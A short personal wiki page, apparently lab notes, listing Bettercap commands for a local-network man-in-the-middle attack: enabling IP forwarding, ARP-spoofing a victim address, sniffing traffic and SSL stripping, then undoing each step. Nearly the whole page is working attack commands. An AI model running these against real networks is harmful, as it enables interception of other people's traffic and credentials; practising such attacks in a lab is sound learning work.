Bettercap - kdaisho/Blog GitHub Wiki
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward(This automatically goes back to 0 after reboot)
sudo bettercap -iface <*your_network_interface>*wlp0s20f3
net.probe onnet.showNow start spoofing:
set arp.spoof.targets <victim_ip>
arp.spoof onset net.sniff.verbose true
net.sniff onset http.proxy.sslstrip true
http.proxy onSSLStrip will try to downgrade HTTPS to HTTP where possible (many modern sites prevent this now via HSTS)
On the victim's machine:
- Try browsing some insecure (HTTP) sites.
On the attacker side:
- Use
tcpdumporwiresharkto see if traffic is being intercepted.
Once done:
arp.spoof off
net.sniff off
http.proxy offAlso disable IP forwarding:
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward